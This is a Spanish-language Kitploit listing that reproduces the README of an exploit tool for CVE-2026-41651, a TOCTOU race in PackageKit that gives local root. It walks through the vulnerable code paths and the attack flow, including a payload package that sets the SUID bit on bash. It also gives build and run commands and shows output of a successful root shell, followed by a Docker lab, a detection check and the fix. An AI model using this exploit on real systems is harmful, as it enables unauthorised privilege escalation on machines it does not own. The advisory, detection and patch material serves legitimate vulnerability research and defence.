Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-41651 — Explota una condición de carrera TOCTOU en el manejador de transacciones de PackageKit para instalar paquetes arbitrarios como root, logrando una escalada de privilegios local y una shell SUID sin autenticación. | Kitploit
Herramientas/GitHubGitHub/vozec/cve-2026-41651
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotación
GitHubvozec/cve-2026-41651

CVE-2026-41651

Explota una condición de carrera TOCTOU en el manejador de transacciones de PackageKit para instalar paquetes arbitrarios como root, logrando una escalada de privilegios local y una shell SUID sin autenticación.

Ver Repositorio
11418hace 4 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Pack2TheRoot — CVE-2026-41651

Carrera TOCTOU en el manejador de transacciones de PackageKit. Cualquier usuario local sin privilegios puede instalar paquetes arbitrarios como root sin autenticación.

Platform Language CVSS Status


Resumen

CampoValor
CVECVE-2026-41651
ComponenteDemonio de PackageKit (packagekitd)
Versiones afectadas1.0.2 – 1.3.4
Corregido en1.3.5
ImpactoEscalada local de privilegios → root
Autenticación requeridaNinguna
Interacción del usuarioNinguna
Probado enUbuntu 24.04, Debian 12

Demostración

poc

Vulnerabilidad

Tres errores en src/pk-transaction.c se encadenan para crear una ventana TOCTOU entre la autorización y la ejecución.

Bug 1 — Sobrescritura incondicional de flags (línea 4036)

InstallFiles() sobrescribe incondicionalmente cached_transaction_flags y cached_full_paths sin comprobar el estado:

root@kitploit:~
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);

Bug 2 — Rechazo silencioso de la transición de estado (líneas 876–881)

pk_transaction_set_state() descarta silenciosamente las transiciones hacia atrás. Los flags ya están sobrescritos, pero el estado permanece igual:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
    transaction->state > state) {
    g_warning ("cannot set %s, as already %s", ...);
    return;
}

Bug 3 — Lectura tardía de flags (líneas 2273–2277)

pk_transaction_run() lee los flags cacheados en el momento del despacho (desde el idle de GLib), no en el momento de la autorización:

root@kitploit:~
case PK_ROLE_ENUM_INSTALL_FILES:
    pk_backend_install_files (transaction->backend,
                              transaction->job,
                              transaction->cached_transaction_flags,
                              transaction->cached_full_paths);
    break;

Extra — SIMULATE omite polkit (líneas 2893–2900)

Establecer PK_TRANSACTION_FLAG_SIMULATE (bit 2, valor 0x4) omite por completo la comprobación de polkit:

root@kitploit:~
if (pk_bitfield_contain (transaction->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
    pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
    return TRUE;
}

Flujo del exploit

root@kitploit:~
Attacker                         packagekitd
   │                                  │
   │  CreateTransaction()             │
   │─────────────────────────────────►│  state = NEW
   │◄─────────────────────────────────│
   │                                  │
   │  InstallFiles(SIMULATE, dummy)   │
   │─────────────────────────────────►│  SIMULATE → polkit skipped
   │◄─────────────────────────────────│  state = READY
   │                                  │  g_idle_add(run_idle_cb) ← queued
   │                                  │
   │  InstallFiles(NONE, payload)     │  [BUG 1] flags + paths overwritten
   │─────────────────────────────────►│  [BUG 2] set_state(WAITING_FOR_AUTH)
   │◄─────────────────────────────────│          → silently rejected
   │                                  │          state stays READY
   │                                  │
   │                      [idle fires]│
   │                                  │  pk_transaction_run()
   │                                  │  [BUG 3] reads NONE + payload
   │                                  │  → dpkg installs payload as root
   │                                  │  → postinst: chmod +s /bin/bash
   │                                  │
   │  execv("/tmp/.suid_bash -p")     │
   │─────────────────────────────────►│
   │              euid=0(root)        │

Ambas llamadas a InstallFiles se envían como llamadas D-Bus asíncronas de tipo fire-and-forget antes de que el bucle principal del cliente itere. Esto garantiza que ambos mensajes lleguen al socket del servidor antes de que el idle de GLib pueda dispararse: no hay carrera que ganar.

polkitd acaba devolviendo NOT_AUTHORIZED para la segunda llamada, pero para entonces APT ya ha despachado la instalación. El error es esperado e inofensivo.


Compilación

root@kitploit:~
sudo apt install libglib2.0-dev
make

No hay otras dependencias — los paquetes .deb se construyen en C puro en tiempo de ejecución.


Uso

root@kitploit:~
./cve-2026-41651
root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

euid=0 — todas las comprobaciones de privilegios en el kernel usan el UID efectivo.


Docker

root@kitploit:~
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651

La imagen compila PackageKit 1.3.4 desde el código fuente (commit 2149735, última versión vulnerable), inicia dbus + polkitd + packagekitd y luego ejecuta el exploit como usuario sin privilegios.

Nota sobre el g_assert: la imagen de Docker elimina mediante un parche una salvaguarda g_assert (!transaction->emitted_finished) en pk-transaction.c. En un sistema real sin parchear, este assert se dispara cuando el hilo de APT intenta emitir Finished después de que polkitd ya lo haya hecho, provocando un cierre del demonio vía SIGABRT. El bash SUID ya está en el disco en ese momento, por lo que la escalada de privilegios tiene éxito; el cierre es un DoS como efecto secundario. packagekitd se reinicia en la siguiente activación de D-Bus.


Detección

En PackageKit ≥ 1.3.5, la segunda llamada es rechazada:

root@kitploit:~
[-] Target is PATCHED (PackageKit >= 1.3.5)

La corrección añade una comprobación de estado en pk_transaction_method_call():

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
    g_dbus_method_invocation_return_error (invocation,
        PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
    return;
}
root@kitploit:~
pkcon --version
journalctl -u packagekit --since '5 min ago'

Referencias

  • NVD — CVE-2026-41651
  • GitHub Advisory — GHSA-f55j-vvr9-69xv
  • Telekom Security — pack2theroot
  • Commit de corrección — 76cfb675
  • Anuncio en OSS-Security
Descargar herramienta